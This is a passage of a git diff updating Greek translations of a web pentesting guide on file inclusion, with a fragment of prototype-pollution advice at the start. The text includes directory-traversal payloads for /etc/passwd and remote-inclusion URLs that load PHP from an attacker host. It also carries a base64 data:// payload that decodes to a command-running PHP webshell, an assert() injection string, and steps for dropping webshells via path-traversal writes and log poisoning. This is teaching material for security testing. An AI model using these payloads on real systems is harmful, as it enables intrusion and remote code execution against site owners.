Κώδικα**: Εφαρμόστε λεπτομερείς ανασκοπήσεις κώδικα για να εντοπίσετε και να διορθώσετε πιθανούς κινδύνους που σχετίζονται με τη μόλυνση του πρωτοτύπου. 9. **Εκπαίδευση Ασφαλείας**: Εκπαιδεύστε τους προγραμματιστές σχετικά με τους κινδύνους της μόλυνσης του πρωτοτύπου και τις βέλτιστες πρακτικές για τη συγγραφή ασφαλούς κώδικα. 10. **Χρήση Βιβλιοθηκών με Προσοχή**: Να είστε προσεκτικοί κατά τη χρήση τρίτων βιβλιοθηκών. Αξιολογήστε τη θέση ασφαλείας τους και ανασκοπήστε τον κώδικά τους, ειδικά εκείνες που χειρίζονται αντικείμενα. diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 4ea25019f..554536511 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -7,7 +7,7 @@ **Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από έναν απομακρυσμένο διακομιστή (Καλύτερα: Μπορείτε να γράψετε τον κώδικα και ο διακομιστής θα τον εκτελέσει). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\ **Local File Inclusion (LFI):** Ο διακομιστής φορτώνει ένα τοπικό αρχείο. -Η ευπάθεια συμβαίνει όταν ο χρήστης μπορεί να ελέγξει με κάποιον τρόπο το αρχείο που πρόκειται να φορτωθεί από τον διακομιστή. +Η ευπάθεια εμφανίζεται όταν ο χρήστης μπορεί να ελέγξει με κάποιον τρόπο το αρχείο που πρόκειται να φορτωθεί από τον διακομιστή. Ευάλωτες **PHP συναρτήσεις**: require, require_once, include, include_once @@ -19,7 +19,8 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**Συνδυάζοντας αρκετές λίστες LFI από \*nix και προσθέτοντας περισσότερους διαδρομές, δημιούργησα αυτήν:** +**Συνδυάζοντας αρκετές λίστες LFI \*nix και προσθέτοντας περισσότερους διαδρόμους, δημιούργησα αυτήν:** + {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt @@ -28,12 +29,13 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion Δοκιμάστε επίσης να αλλάξετε το `/` σε `\`\ Δοκιμάστε επίσης να προσθέσετε `../../../../../` -Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** Συγχώνευση διαφορετικών λιστών λέξεων: + {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} @@ -41,7 +43,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion Δοκιμάστε επίσης να αλλάξετε το `/` σε `\`\ Δοκιμάστε επίσης να αφαιρέσετε το `C:/` και να προσθέσετε `../../../../../` -Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** @@ -90,7 +92,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Δοκιμή για Φακέλους:** Προσθέστε το όνομα του υποψήφιου φακέλου (π.χ., `private`) στο URL, στη συνέχεια πλοηγηθείτε πίσω στο `/etc/passwd`. Το επιπλέον επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα: +2. **Δοκιμή για Φάκελους:** Προσθέστε το όνομα του υποψήφιου φακέλου (π.χ., `private`) στο URL, στη συνέχεια πλοηγηθείτε πίσω στο `/etc/passwd`. Το επιπλέον επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` @@ -99,7 +101,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1= - **Περιεχόμενα του `/etc/passwd`:** Η παρουσία του φακέλου `private` επιβεβαιώνεται. 4. **Αναδρομική Εξερεύνηση:** Οι ανακαλυφθέντες φάκελοι μπορούν να εξερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI). -Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων κατάλογος είναι σε βάθος 3), χρησιμοποιήστε: +Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν ο φάκελος `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων φάκελος είναι σε βάθος 3), χρησιμοποιήστε: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` @@ -143,17 +145,17 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -Στο php αυτό είναι απενεργοποιημένο από προεπιλογή γιατί **`allow_url_include`** είναι **Απενεργοποιημένο.** Πρέπει να είναι **Ενεργοποιημένο** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να αποκτήσετε RCE: +Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Απενεργοποιημένο.** Πρέπει να είναι **Ενεργοποιημένο** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να αποκτήσετε RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), θα μπορούσατε να χρησιμοποιήσετε για παράδειγμα το πρωτόκολλο δεδομένων με base64 για να αποκωδικοποιήσετε έναν κωδικό PHP b64 και να αποκτήσετε RCE: +Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), θα μπορούσατε να χρησιμοποιήσετε για παράδειγμα το πρωτόκολλο data με base64 για να αποκωδικοποιήσετε έναν κωδικό PHP b64 και να αποκτήσετε RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο επιτιθέμενος χρειαζόταν μια συμβολοσειρά που να τελειώνει σε `.txt`, έτσι ώστε η συμβολοσειρά να τελειώνει με αυτό και μετά την αποκωδικοποίηση b64, αυτό το μέρος θα επιστρέψει απλώς σκουπίδια και ο πραγματικός κώδικας PHP θα συμπεριληφθεί (και επομένως, θα εκτελεστεί). +> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο επιτιθέμενος χρειαζόταν μια συμβολοσειρά που να τελειώνει σε `.txt`, έτσι ώστε η συμβολοσειρά να τελειώνει με αυτό και μετά την αποκωδικοποίηση b64 εκείνο το μέρος θα επιστρέψει απλώς σκουπίδια και ο πραγματικός κώδικας PHP θα συμπεριληφθεί (και επομένως, θα εκτελεστεί). Ένα άλλο παράδειγμα **χωρίς τη χρήση του πρωτοκόλλου `php://`** θα ήταν: ``` @@ -171,7 +173,7 @@ os.path.join(os.getcwd(), "public", file_name) os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -Είναι η προορισμένη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): +Είναι η προγραμματισμένη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): > Αν ένα συστατικό είναι απόλυτη διαδρομή, όλα τα προηγούμενα συστατικά απορρίπτονται και η ένωση συνεχίζεται από το συστατικό της απόλυτης διαδρομής. @@ -226,10 +228,10 @@ os.path.join(os.getcwd(), "public", "/etc/passwd") - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση(`convert.iconv..`). Για να αποκτήσετε τη **λίστα όλων των κωδικοποιήσεων** που υποστηρίζονται, εκτελέστε στην κονσόλα: `iconv -l` +- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση(`convert.iconv..`). Για να αποκτήσετε τη **λίστα όλων των υποστηριζόμενων κωδικοποιήσεων** εκτελέστε στην κονσόλα: `iconv -l` > [!WARNING] -> Καταχρώντας το φίλτρο μετατροπής `convert.iconv.*` μπορείτε να **δημιουργήσετε αυθαίρετο κείμενο**, το οποίο θα μπορούσε να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια λειτουργία όπως η συμπερίληψη αυθαίρετου κειμένου. Για περισσότερες πληροφορίες, ελέγξτε [**LFI2RCE μέσω φίλτρων php**](lfi2rce-via-php-filters.md). +> Καταχρώντας το φίλτρο μετατροπής `convert.iconv.*` μπορείτε να **δημιουργήσετε αυθαίρετο κείμενο**, το οποίο θα μπορούσε να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια λειτουργία όπως η συμπερίληψη αυθαίρετου κειμένου. Για περισσότερες πληροφορίες δείτε [**LFI2RCE μέσω φίλτρων php**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - `zlib.deflate`: Συμπιέζει το περιεχόμενο (χρήσιμο αν εξάγετε πολλές πληροφορίες) @@ -280,8 +282,8 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the - Χρησιμοποιήστε τον κωδικοποιητή **`UCS-4LE`** για να αφήσετε τον αρχικό χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά. - Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν η αρχική γράμμα μαντεύεται σωστά** ώστε το php να προκαλέσει ένα **σφάλμα**. - Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι εξαγωνικός**, έτσι μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι εξαγωνικός. -- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετατροπές ώστε να μην είναι εξαγωνικός χαρακτήρας. Διότι αν είναι εξαγωνικός, το dechunk δεν θα το διαγράψει και η αρχική βόμβα θα προκαλέσει σφάλμα στο php. -- Ο κωδικοποιητής **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: α -> β). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα `α` για παράδειγμα, διότι αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή α->β->γ->δ->ε->ζ->η το γράμμα δεν είναι πια εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php ενεργοποιείται επειδή πολλαπλασιάζεται με την αρχική βόμβα. +- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετατροπές ώστε να μην είναι εξαγωνικός χαρακτήρας. Επειδή αν είναι εξαγωνικός, το dechunk δεν θα το διαγράψει και η αρχική βόμβα θα προκαλέσει σφάλμα στο php. +- Ο κωδικοποιητής **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: α -> β). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα `α` για παράδειγμα, επειδή αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή α->β->γ->δ->ε->ζ->η το γράμμα δεν είναι πια εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php ενεργοποιείται επειδή πολλαπλασιάζεται με την αρχική βόμβα. - Χρησιμοποιώντας άλλες μετατροπές όπως **rot13** στην αρχή είναι δυνατόν να διαρρεύσουν άλλοι χαρακτήρες όπως ν, ο, π, ρ, σ (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στην περιοχή των εξαγωνικών). - Όταν ο αρχικός χαρακτήρας είναι αριθμός, χρειάζεται να τον κωδικοποιήσουμε σε base64 και να διαρρεύσουμε τα 2 πρώτα γράμματα για να διαρρεύσουμε τον αριθμό. - Το τελικό πρόβλημα είναι να δούμε **πώς να διαρρεύσουμε περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας φίλτρα μνήμης σειράς όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατόν να αλλάξουμε τη σειρά των χαρακτήρων και να αποκτήσουμε στην πρώτη θέση άλλα γράμματα του κειμένου. @@ -356,14 +358,15 @@ $phar->stopBuffering(); ```bash php --define phar.readonly=0 create_path.php ``` -Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα `test.phar`, το οποίο θα μπορούσε ενδεχομένως να χρησιμοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI). +Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με το όνομα `test.phar`, το οποίο θα μπορούσε ενδεχομένως να χρησιμοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI). -Σε περιπτώσεις όπου το LFI εκτελεί μόνο ανάγνωση αρχείων χωρίς να εκτελεί τον PHP κώδικα εντός τους, μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()`, θα μπορούσε να επιχειρηθεί η εκμετάλλευση μιας ευπάθειας αποσυμπίεσης. Αυτή η ευπάθεια σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`. +Σε περιπτώσεις όπου το LFI εκτελεί μόνο ανάγνωση αρχείων χωρίς να εκτελεί τον PHP κώδικα μέσα σε αυτά, μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()`, θα μπορούσε να επιχειρηθεί η εκμετάλλευση μιας ευπάθειας αποσυμπίεσης. Αυτή η ευπάθεια σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`. Για μια λεπτομερή κατανόηση της εκμετάλλευσης ευπαθειών αποσυμπίεσης στο πλαίσιο των αρχείων `.phar`, ανατρέξτε στο έγγραφο που συνδέεται παρακάτω: [Phar Deserialization Exploitation Guide](phar-deserialization.md) + {{#ref}} phar-deserialization.md {{#endref}} @@ -371,7 +374,7 @@ phar-deserialization.md ### CVE-2024-2961 Ήταν δυνατό να καταχραστεί **οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP που υποστηρίζει φίλτρα php** για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να [**βρεθεί σε αυτή την ανάρτηση**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Πολύ γρήγορη περίληψη: μια **υπερχείλιση 3 byte** στο σωρό PHP καταχράστηκε για να **αλλάξει την αλυσίδα ελεύθερων κομματιών** συγκεκριμένου μεγέθους προκειμένου να είναι δυνατή η **γραφή οτιδήποτε σε οποιαδήποτε διεύθυνση**, έτσι προστέθηκε ένα hook για να καλέσει **`system`**.\ +Πολύ γρήγορη περίληψη: μια **υπερχείλιση 3 byte** στη μνήμη PHP καταχράστηκε για να **αλλάξει την αλυσίδα ελεύθερων κομματιών** συγκεκριμένου μεγέθους προκειμένου να είναι δυνατή η **γραφή οτιδήποτε σε οποιαδήποτε διεύθυνση**, έτσι προστέθηκε ένα hook για να καλέσει **`system`**.\ Ήταν δυνατό να κατανεμηθούν κομμάτια συγκεκριμένων μεγεθών καταχρώντας περισσότερα φίλτρα php. ### Περισσότερα πρωτόκολλα @@ -389,13 +392,13 @@ phar-deserialization.md ## LFI μέσω της 'assert' της PHP -Οι κίνδυνοι Local File Inclusion (LFI) στην PHP είναι ιδιαίτερα υψηλοί όταν ασχολούνται με τη συνάρτηση 'assert', η οποία μπορεί να εκτελεί κώδικα εντός συμβολοσειρών. Αυτό είναι ιδιαίτερα προβληματικό αν η είσοδος που περιέχει χαρακτήρες διαδρομής καταλόγου όπως ".." ελέγχεται αλλά δεν καθαρίζεται σωστά. +Οι κίνδυνοι Local File Inclusion (LFI) στην PHP είναι ιδιαίτερα υψηλοί όταν ασχολούνται με τη συνάρτηση 'assert', η οποία μπορεί να εκτελεί κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό αν η είσοδος που περιέχει χαρακτήρες διαδρομής καταλόγου όπως ".." ελέγχεται αλλά δεν καθαρίζεται σωστά. Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί για να αποτρέπει τη διαδρομή καταλόγου ως εξής: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -Ενώ αυτό στοχεύει να σταματήσει την περιήγηση, δημιουργεί ακούσια ένα διανύσμα για την έγχυση κώδικα. Για να εκμεταλλευτεί αυτό για την ανάγνωση περιεχομένων αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει: +Ενώ αυτό στοχεύει να σταματήσει την περιήγηση, δημιουργεί ακούσια ένα διανυσματικό σημείο για την εισαγωγή κώδικα. Για να εκμεταλλευτεί αυτό για την ανάγνωση περιεχομένων αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` @@ -408,23 +411,23 @@ assert("strpos('$file', '..') === false") or die(""); ## PHP Blind Path Traversal > [!WARNING] -> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου **ελέγχετε** τη **διαδρομή αρχείου** μιας **λειτουργίας PHP** που θα **πρόσβαση σε ένα αρχείο** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση στη **`file()`**) αλλά το περιεχόμενο δεν εμφανίζεται. +> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου **ελέγχετε** τη **διαδρομή αρχείου** μιας **συνάρτησης PHP** που θα **πρόσβαση σε ένα αρχείο** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση στη **`file()`**) αλλά το περιεχόμενο δεν εμφανίζεται. -Στο [**αυτό το απίστευτο άρθρο**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) εξηγείται πώς μπορεί να καταχραστεί μια τυφλή διαδρομή πρόσβασης μέσω φίλτρου PHP για να **εξάγει το περιεχόμενο ενός αρχείου μέσω ενός σφάλματος oracle**. +Στο [**αυτό το απίστευτο άρθρο**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) εξηγείται πώς μπορεί να καταχραστεί μια τυφλή διαδρομή μέσω φίλτρου PHP για να **εξαχθεί το περιεχόμενο ενός αρχείου μέσω ενός σφάλματος oracle**. -Συνοπτικά, η τεχνική χρησιμοποιεί την **κωδικοποίηση "UCS-4LE"** για να κάνει το περιεχόμενο ενός αρχείου τόσο **μεγάλο** ώστε η **λειτουργία PHP που ανοίγει** το αρχείο να προκαλέσει ένα **σφάλμα**. +Συνοπτικά, η τεχνική χρησιμοποιεί την **κωδικοποίηση "UCS-4LE"** για να κάνει το περιεχόμενο ενός αρχείου τόσο **μεγάλο** ώστε η **συνάρτηση PHP που ανοίγει** το αρχείο να προκαλέσει ένα **σφάλμα**. -Στη συνέχεια, προκειμένου να διαρρεύσει ο πρώτος χαρακτήρας, χρησιμοποιείται το φίλτρο **`dechunk`** μαζί με άλλα όπως **base64** ή **rot13** και τελικά τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** χρησιμοποιούνται για να **τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους διαρρεύσουν**. +Στη συνέχεια, προκειμένου να διαρρεύσει ο πρώτος χαρακτήρας, το φίλτρο **`dechunk`** χρησιμοποιείται μαζί με άλλα όπως **base64** ή **rot13** και τελικά τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** χρησιμοποιούνται για να **τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους διαρρεύσουν**. -**Λειτουργίες που μπορεί να είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (μόνο για ανάγνωση με αυτό)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +**Συναρτήσεις που μπορεί να είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (μόνο για ανάγνωση με αυτό)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -Για τις τεχνικές λεπτομέρειες, ελέγξτε το αναφερόμενο άρθρο! +Για τις τεχνικές λεπτομέρειες ελέγξτε το αναφερόμενο άρθρο! ## LFI2RCE ### Αυθαίρετη Εγγραφή Αρχείου μέσω Διαδρομής Traversal (Webshell RCE) -Όταν ο κωδικός που εκτελείται στον διακομιστή που εισάγει/ανεβάζει αρχεία κατασκευάζει τη διαδρομή προορισμού χρησιμοποιώντας δεδομένα που ελέγχονται από τον χρήστη (π.χ., ένα όνομα αρχείου ή URL) χωρίς να τα κανονικοποιεί και να τα επικυρώνει, τα τμήματα `..` και οι απόλυτες διαδρομές μπορούν να ξεφύγουν από τον προορισμένο κατάλογο και να προκαλέσουν αυθαίρετη εγγραφή αρχείου. Εάν μπορείτε να τοποθετήσετε το payload κάτω από έναν δημόσια εκτεθειμένο κατάλογο, συνήθως αποκτάτε μη εξουσιοδοτημένη RCE ρίχνοντας μια webshell. +Όταν ο κωδικός που εκτελείται στον διακομιστή που εισάγει/ανεβάζει αρχεία κατασκευάζει τη διαδρομή προορισμού χρησιμοποιώντας δεδομένα που ελέγχονται από τον χρήστη (π.χ., ένα όνομα αρχείου ή URL) χωρίς να το κανονικοποιεί και να το επικυρώνει, τα τμήματα `..` και οι απόλυτες διαδρομές μπορούν να ξεφύγουν από τον προορισμένο κατάλογο και να προκαλέσουν αυθαίρετη εγγραφή αρχείου. Εάν μπορείτε να τοποθετήσετε το payload κάτω από έναν δημόσια εκτεθειμένο κατάλογο, συνήθως αποκτάτε μη εξουσιοδοτημένη RCE ρίχνοντας μια webshell. Τυπική ροή εκμετάλλευσης: - Εντοπίστε μια πρωτοβουλία εγγραφής σε ένα endpoint ή background worker που δέχεται μια διαδρομή/όνομα αρχείου και γράφει περιεχόμενο στο δίσκο (π.χ., εισαγωγή με βάση μηνύματα, χειριστές εντολών XML/JSON, αποσυμπιεστές ZIP, κ.λπ.). @@ -432,14 +435,14 @@ assert("strpos('$file', '..') === false") or die(""); - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → ρίξτε `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → ρίξτε `shell.aspx` -- Δημιουργήστε μια διαδρομή traversal που σπάει έξω από τον προορισμένο κατάλογο αποθήκευσης στο webroot και συμπεριλάβετε το περιεχόμενο της webshell σας. +- Δημιουργήστε μια διαδρομή traversal που σπάει από τον προορισμένο κατάλογο αποθήκευσης στο webroot και συμπεριλάβετε το περιεχόμενο της webshell σας. - Περιηγηθείτε στο ρίχτη payload και εκτελέστε εντολές. Σημειώσεις: - Η ευάλωτη υπηρεσία που εκτελεί την εγγραφή μπορεί να ακούει σε μια μη-HTTP θύρα (π.χ., ένας ακροατής JMF XML σε TCP 4004). Η κύρια διαδικτυακή πύλη (διαφορετική θύρα) θα σερβίρει αργότερα το payload σας. - Σε στοίβες Java, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή συγχώνευση `File`/`Paths`. Η έλλειψη κανονικοποίησης/λευκής λίστας είναι το κύριο σφάλμα. -Γενικό παράδειγμα στυλ XML/JMF (τα σχήματα προϊόντων διαφέρουν – η περιτύλιξη DOCTYPE/body είναι ασήμαντη για τη διαδρομή traversal): +Γενικό παράδειγμα στυλ XML/JMF (τα σχήματα προϊόντων διαφέρουν – η περιτύλιξη DOCTYPE/body είναι ασήμαντη για τη διαδρομή): ```xml @@ -466,7 +469,7 @@ in.transferTo(out); Hardening που καταπολεμά αυτή την κατηγορία σφαλμάτων: - Επίλυση σε μια κανονική διαδρομή και επιβολή ότι είναι απόγονος ενός επιτρεπόμενου βασικού καταλόγου. - Απόρριψη οποιασδήποτε διαδρομής που περιέχει `..`, απόλυτες ρίζες ή γράμματα δίσκων; προτίμηση σε παραγόμενα ονόματα αρχείων. -- Εκτέλεση του συγγραφέα ως λογαριασμός με χαμηλά δικαιώματα και διαχωρισμός των καταλόγων εγγραφής από τις ριζικές διαδρομές που εξυπηρετούνται. +- Εκτέλεση του συγγραφέα ως λογαριασμός χαμηλών δικαιωμάτων και διαχωρισμός των καταλόγων εγγραφής από τις ριζικές διαδρομές που εξυπηρετούνται. ## Remote File Inclusion @@ -479,7 +482,7 @@ Hardening που καταπολεμά αυτή την κατηγορία σφα > [!WARNING] > Σημειώστε ότι **αν χρησιμοποιήσετε διπλά εισαγωγικά** για το shell αντί για **απλά εισαγωγικά**, τα διπλά εισαγωγικά θα τροποποιηθούν για τη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει ένα σφάλμα** εκεί και **τίποτα άλλο δεν θα εκτελεστεί**. > -> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** ή η PHP θα έχει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία. +> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** ή η PHP θα σφάλει κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία. Αυτό θα μπορούσε επίσης να γίνει σε άλλα αρχεία καταγραφής αλλά **προσοχή,** ο κώδικας μέσα στα αρχεία καταγραφής θα μπορούσε να είναι URL encoded και αυτό θα μπορούσε να καταστρέψει το Shell. Η κεφαλίδα **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell θα μπορούσε να εισαχθεί μέσα σε αυτή την κεφαλίδα.\ Άλλες πιθανές διαδρομές αρχείων καταγραφής: @@ -503,7 +506,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### Μέσω /proc/\*/fd/\* 1. Ανεβάστε πολλές shells (για παράδειγμα: 100) -2. Συμπεριλάβετε [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διαδικασίας (μπορεί να βρεθεί με brute force) και $FD τον file descriptor (μπορεί επίσης να βρεθεί με brute force) +2. Συμπεριλάβετε [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διαδικασίας (μπορεί να γίνει brute force) και $FD τον file descriptor (μπορεί επίσης να γίνει brute force) ### Μέσω /proc/self/environ @@ -533,12 +536,12 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -Στο PHP, αυτές οι συνεδρίες αποθηκεύονται στα _/var/lib/php5/sess\\_\[PHPSESSID]\_ αρχεία. +Στο PHP, αυτές οι συνεδρίες αποθηκεύονται στα 